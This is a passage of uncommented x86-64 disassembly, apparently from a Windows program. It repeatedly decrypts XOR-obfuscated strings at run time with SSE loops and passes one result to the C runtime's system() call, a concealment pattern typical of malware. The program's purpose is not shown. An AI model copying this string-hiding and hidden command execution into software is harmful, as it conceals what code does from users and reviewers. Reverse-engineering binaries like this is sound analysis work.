pand xmm2, xmmword [0x14016c1c0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14016c1c0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
pxor xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x1400c86c0
cmp r8d, 0x2b
jge 0x1400c8800
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2b
jl 0x1400c87d0
mov rdx, r10
lea rcx, [rbp + 0xe8]
call fcn.14006f780
mov eax, dword [0x140196ef4]
cmp eax, 7
jne 0x1400c89d5
lea rdx, [rbp + 0x78]
lea rcx, [rbp - 0x46]
call fcn.1400ce8d0
mov r10, rax
cmp byte [rax + 0x2a], 0
je 0x1400c89c0
mov r8d, r15d
cmp r12d, 2
jl 0x1400c8987
movdqa xmm5, xmmword [0x14016c130]
movdqa xmm4, xmmword [0x14016c610]
movd xmm6, esi
movdqa xmm7, xmmword [0x14016c160]
mov eax, Ordinal_35
movd xmm8, eax
movdqa xmm0, xmmword [0x14016c1e0]
movdqa xmmword [rbp + 0x30], xmm0
mov rcx, r10
mov edx, dword [rbp + 0x30]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14016c1c0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14016c1c0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
pxor xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x1400c8880
cmp r8d, 0x2b
jge 0x1400c89c0
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2b
jl 0x1400c8990
mov rdx, r10
lea rcx, [rbp + 0xe8]
call fcn.14006f780
mov eax, dword [0x140196ef4]
cmp eax, 8
jne 0x1400c8b95
lea rdx, [rbp + 0x78]
lea rcx, [rbp - 0x45]
call fcn.1400ce910
mov r10, rax
cmp byte [rax + 0x2a], 0
je 0x1400c8b80
mov r8d, r15d
cmp r12d, 2
jl 0x1400c8b47
movdqa xmm5, xmmword [0x14016c130]
movdqa xmm4, xmmword [0x14016c610]
movd xmm6, esi
movdqa xmm7, xmmword [0x14016c160]
mov eax, Ordinal_35
movd xmm8, eax
movdqa xmm0, xmmword [0x14016c1e0]
movdqa xmmword [rbp + 0x30], xmm0
mov rcx, r10
mov edx, dword [rbp + 0x30]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14016c1c0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14016c1c0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
pxor xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x1400c8a40
cmp r8d, 0x2b
jge 0x1400c8b80
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2b
jl 0x1400c8b50
mov rdx, r10
lea rcx, [rbp + 0xe8]
call fcn.14006f780
mov eax, dword [0x140196ef4]
cmp eax, 9
jne 0x1400c8d4f
lea rdx, [rbp + 0xf40]
lea rcx, [rbp - 0x44]
call fcn.1400ce950
mov r10, rax
cmp byte [rax + 0x2b], 0
je 0x1400c8d40
mov r8d, r15d
cmp r12d, 2
jl 0x1400c8d08
movdqa xmm5, xmmword [0x14016c130]
movdqa xmm4, xmmword [0x14016c610]
movd xmm6, esi
movdqa xmm7, xmmword [0x14016c160]
mov eax, Ordinal_35
movd xmm8, eax
movdqa xmm0, xmmword [0x14016c1e0]
movdqa xmmword [rbp + 0x30], xmm0
mov rcx, r10
mov edx, dword [rbp + 0x30]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14016c1c0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14016c1c0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
pxor xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x1400c8c01
cmp r8d, 0x2c
jge 0x1400c8d40
movsxd r9, r8d
add r9, r10
nop
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2c
jl 0x1400c8d10
mov rdx, r10
lea rcx, [rbp + 0xe8]
call fcn.14006f780
lea rdx, [rbp + 0x22]
lea rcx, [rbp - 0x43]
call fcn.1400cde90
movzx ecx, byte [rax + 1]
test cl, cl
je 0x1400c8d6d
xor byte [rax], 0x34
xor cl, 0x35
mov byte [rax + 1], cl
mov rcx, rax
call fcn.14004ff70
movss xmm6, dword [0x14016c02c]
movaps xmm1, xmm6
movaps xmm0, xmm10
call fcn.14002e9c0
movaps xmm2, xmm9
movss xmm7, dword [0x14016bee8]
movaps xmm1, xmm7
lea rcx, [rbp + 0x600]
call fcn.140018e80
mov rbx, rax
lea rdx, [rbp + 0xc5]
lea rcx, [rbp - 0x42]
call fcn.1400ce980
movzx ecx, byte [rax + 4]
test cl, cl
je 0x1400c8dd4
xor byte [rax], 0x34
xor byte [rax + 1], 0x35
xor byte [rax + 2], 0x36
xor byte [rax + 3], 0x37
xor cl, 0x38
mov byte [rax + 4], cl
mov rdx, rbx
mov rcx, rax
call fcn.140050e20
test al, al
je 0x1400c8dfe
lea rdx, [rbp + 0xe8]
lea rcx, [rbp + 0x138]
call fcn.140073dd0
mov rcx, rax
call fcn.140087040
lea rdx, [rbp + 0x24]
lea rcx, [rbp - 0x41]
call fcn.1400cde90
movzx ecx, byte [rax + 1]
test cl, cl
je 0x1400c8e1c
xor byte [rax], 0x34
xor cl, 0x35
mov byte [rax + 1], cl
mov rcx, rax
call fcn.14004ff70
movaps xmm1, xmm6
movaps xmm0, xmm10
call fcn.14002e9c0
movaps xmm2, xmm9
movaps xmm1, xmm7
lea rcx, [rbp + 0x608]
call fcn.140018e80
mov rbx, rax
lea rdx, [rbp + 0xca]
lea rcx, [rbp - 0x40]
call fcn.1400ce9a0
movzx ecx, byte [rax + 4]
test cl, cl
je 0x1400c8e73
xor byte [rax], 0x34
xor byte [rax + 1], 0x35
xor byte [rax + 2], 0x36
xor byte [rax + 3], 0x37
xor cl, 0x38
mov byte [rax + 4], cl
mov rdx, rbx
mov rcx, rax
call fcn.140050e20
test al, al
je 0x1400c8e9e
lea rdx, [rbp + 0xe8]
lea rcx, [rbp + 0x138]
call fcn.140073dd0
mov rcx, rax
call fcn.14009d6e0
nop
lea rcx, [rbp + 0xe8]
call fcn.14006f0b0
mov eax, dword [reloc.WS2_32.dll_accept]
cmp eax, 7
jne 0x1400c92fb
call fcn.140053b90
lea rcx, [rbp + 0x610]
call fcn.1400d4c60
nop
lea rcx, [0x1401975a8]
call fcn.1400d2e40
mov rcx, rax
call fcn.1400d2a90
mov rcx, rax
call fcn.1400d2730
lea rcx, [0x1401975e0]
call fcn.1400d2a90
mov rbx, rax
lea rcx, [rbp + 0x610]
call fcn.1400d2a90
mov rcx, rax
mov rdx, rbx
call fcn.1400d28a0
lea rcx, [0x1401975a8]
call fcn.1400d2e40
mov rcx, rax
call fcn.1400d2a90
mov rcx, rax
call fcn.1400d26d0
lea rcx, [rbp + 0x618]
call fcn.1400d4c60
nop
mov edi, r15d
lea rcx, [rbp + 0x610]
call fcn.1400d2a90
mov rcx, rax
call fcn.1400d2870
test rax, rax
je 0x1400c92dc
mov rbx, r15
mov r13d, Ordinal_35
nop
lea rcx, [rbp + 0x610]
call fcn.1400d2a90
mov rdx, rbx
mov rcx, rax
call fcn.1400d2820
movups xmm1, xmmword [rax]
movups xmmword [rbp + 0xa48], xmm1
movq rax, xmm1
shr rax, 8
test al, al
jne 0x1400c92b4
mov rcx, qword [rbp + 0xa50]
call fcn.14007ebb0
mov rdx, rax
lea rcx, [rbp + 0xe8]
call fcn.140074c20
nop
mov rdx, qword [rbp + 0xa50]
lea rcx, [rbp + 0x138]
call fcn.14007e300
nop
movaps xmm2, xmm10
movaps xmm1, xmm10
lea rcx, [rbp + 0x620]
call fcn.140018e80
mov rbx, rax
lea rcx, [rbp + 0x138]
call fcn.14006f0a0
mov rdx, rbx
mov rcx, rax
call fcn.140050e20
test al, al
je 0x1400c923b
lea rdx, [rbp + 0x26]
lea rcx, [rbp - 0x3f]
call fcn.1400cea00
movzx ecx, byte [rax + 1]
test cl, cl
je 0x1400c9016
xor byte [rax], 0x34
xor cl, 0x35
mov byte [rax + 1], cl
mov rdx, rax
lea rcx, [rbp + 0x770]
call fcn.14006f110
mov rbx, rax
lea rdx, [rbp + 0xf40]
lea rcx, [rbp - 0x3e]
call fcn.1400ce9c0
mov r10, rax
cmp byte [rax + 0x2a], 0
je 0x1400c91d0
mov r8d, r15d
cmp r12d, 2
jl 0x1400c9197
movdqa xmm5, xmmword [0x14016c130]
movdqa xmm4, xmmword [0x14016c610]
movd xmm6, esi
movdqa xmm7, xmmword [0x14016c160]
movd xmm8, r13d
movdqa xmm0, xmmword [0x14016c1e0]
movdqa xmmword [rbp + 0x30], xmm0
mov rcx, rax
mov edx, dword [rbp + 0x30]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14016c1c0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14016c1c0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
pxor xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x1400c9090
cmp r8d, 0x2b
jge 0x1400c91d0
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2b
jl 0x1400c91a0
mov rdx, r10
lea rcx, [rbp + 0x58]
call fcn.14006f110
nop
lea r8, [rbp + 0xe8]
mov rdx, rax
lea rcx, [rbp]
call fcn.1400d46d0
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x78]
call fcn.1400d47a0
mov rcx, rax
call fcn.14006f0a0
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x78]
call fcn.14006f0b0
nop
lea rcx, [rbp]
call fcn.14006f0b0
nop
lea rcx, [rbp + 0x58]
call fcn.14006f0b0
nop
lea rcx, [rbp + 0x770]
call fcn.14006f0b0
cmp byte [rbp + 0xa48], 0
je 0x1400c929b
movss xmm1, dword [0x14016c02c]
movaps xmm0, xmm10
call fcn.14002e9c0
lea rdx, [rbp + 0x670]
lea rcx, [rbp - 0x3d]
call fcn.1400cea10
movzx ecx, byte [rax + 8]
test cl, cl
je 0x1400c9292
xor byte [rax], 0x34
xor byte [rax + 1], 0x35
xor byte [rax + 2], 0x36
xor byte [rax + 3], 0x37
xor byte [rax + 4], 0x38
xor byte [rax + 5], 0x39
xor byte [rax + 6], 0x3a
xor byte [rax + 7], 0x3b
xor cl, 0x3c
mov byte [rax + 8], cl
mov rcx, rax
call fcn.14004ff70
nop
lea rcx, [rbp + 0x138]
call fcn.14006f0b0
nop
lea rcx, [rbp + 0xe8]
call fcn.14006f0b0
inc edi
mov ebx, edi
lea rcx, [rbp + 0x610]
call fcn.1400d2a90
mov rcx, rax
call fcn.1400d2870
cmp rbx, rax
jb 0x1400c8f60
mov r13d, dword [rbp + 0xac]
lea rcx, [rbp + 0x618]
call fcn.1400d2b20
nop
lea rcx, [rbp + 0x610]
call fcn.1400d2b30
mov eax, dword [reloc.WS2_32.dll_accept]
cmp eax, 8
jne 0x1400ca75d
lea rdx, [rbp + 0xe60]
lea rcx, [rbp - 0x3c]
call fcn.1400cea30
mov r10, rax
cmp byte [rax + 0xf], 0
je 0x1400c94b2
mov r8d, r15d
cmp r12d, 2
jl 0x1400c9471
movdqa xmm5, xmmword [0x14016c130]
mov edx, r15d
movdqa xmm4, xmmword [0x14016c610]
movd xmm6, esi
movdqa xmm7, xmmword [0x14016c160]
mov ebx, Ordinal_35
movd xmm8, ebx
movdqa xmm0, xmmword [0x14016c1e0]
movdqa xmmword [rbp + 0x30], xmm0
mov rcx, rax
mov r8d, dword [rbp + 0x30]
nop dword [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14016c1c0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14016c1c0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
pxor xmm2, xmm0
movd dword [rcx + 4], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x10
jl 0x1400c9370
jmp 0x1400c94b7
mov r9, r10
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x3521cfb3
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x10
jl 0x1400c9480
mov ebx, Ordinal_35
mov r8d, 0x10268
lea rdx, [0x140195760]
mov rcx, r10
call fcn.14005d470
lea rdx, [rbp + 0xb7a]
lea rcx, [rbp - 0x3b]
call fcn.1400cea40
mov r10, rax
cmp byte [rax + 0xe], 0
je 0x1400c9640
mov r8d, r15d
cmp r12d, 2
jl 0x1400c95fc
movdqa xmm4, xmmword [0x14016c610]
movd xmm5, esi
movd xmm6, ebx
movdqa xmm2, xmmword [0x14016c130]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14016c160]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14016c1c0]
packuswb xmm2, xmm2
mov eax, dword [0x14016c1e0]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r10]
pxor xmm2, xmm0
movd dword [r10], xmm2
movdqa xmm3, xmmword [0x14016c150]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14016c160]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14016c1c0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r10 + 4]
pxor xmm2, xmm0
movd dword [r10 + 4], xmm2
mov r8d, 8
mov r9d, r8d
add r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xf
jl 0x1400c9610
mov r8d, 0x10268
lea rdx, [0x140195730]
mov rcx, r10
call fcn.14005d470
lea rdx, [rbp + 0x58]
lea rcx, [rbp - 0x3a]
call fcn.1400cea70
mov r10, rax
cmp byte [rax + 0x19], 0
je 0x1400c97f0
mov r8d, r15d
cmp r12d, 2
jl 0x1400c97b7
movdqa xmm5, xmmword [0x14016c130]
movdqa xmm4, xmmword [0x14016c610]
movd xmm6, esi
movdqa xmm7, xmmword [0x14016c160]
movd xmm8, ebx
movdqa xmm0, xmmword [0x14016c1e0]
movdqa xmmword [rbp + 0x30], xmm0
mov rcx, rax
mov edx, dword [rbp + 0x30]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14016c1c0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14016c1c0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
pxor xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x1400c96b0
cmp r8d, 0x1a
jge 0x1400c97f0
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1a
jl 0x1400c97c0
mov r8d, 0x10268
lea rdx, [0x140181110]
mov rcx, r10
call fcn.14005d470
lea rdx, [rbp]
lea rcx, [rbp - 0x39]
call fcn.1400ceaa0
mov r10, rax
cmp byte [rax + 0x13], 0
je 0x1400c99a0
mov r8d, r15d
cmp r12d, 2
jl 0x1400c9967
movdqa xmm5, xmmword [0x14016c130]
movdqa xmm4, xmmword [0x14016c610]
movd xmm6, esi
movdqa xmm7, xmmword [0x14016c160]
movd xmm8, ebx
movdqa xmm0, xmmword [0x14016c1e0]
movdqa xmmword [rbp + 0x30], xmm0
mov rcx, rax
mov edx, dword [rbp + 0x30]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14016c1c0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14016c1c0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
pxor xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x1400c9860
cmp r8d, 0x14
jge 0x1400c99a0
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x14
jl 0x1400c9970
mov r8d, 0x10268
lea rdx, [0x140182350]
mov rcx, r10
call fcn.14005d470
lea rdx, [rbp + 0xaf4]
lea rcx, [rbp - 0x38]
call fcn.1400ceac0
mov r10, rax
cmp byte [rax + 0xd], 0
je 0x1400c9b20
mov r8d, r15d
cmp r12d, 2
jl 0x1400c9ae5
movdqa xmm4, xmmword [0x14016c610]
movd xmm5, esi
movd xmm6, ebx
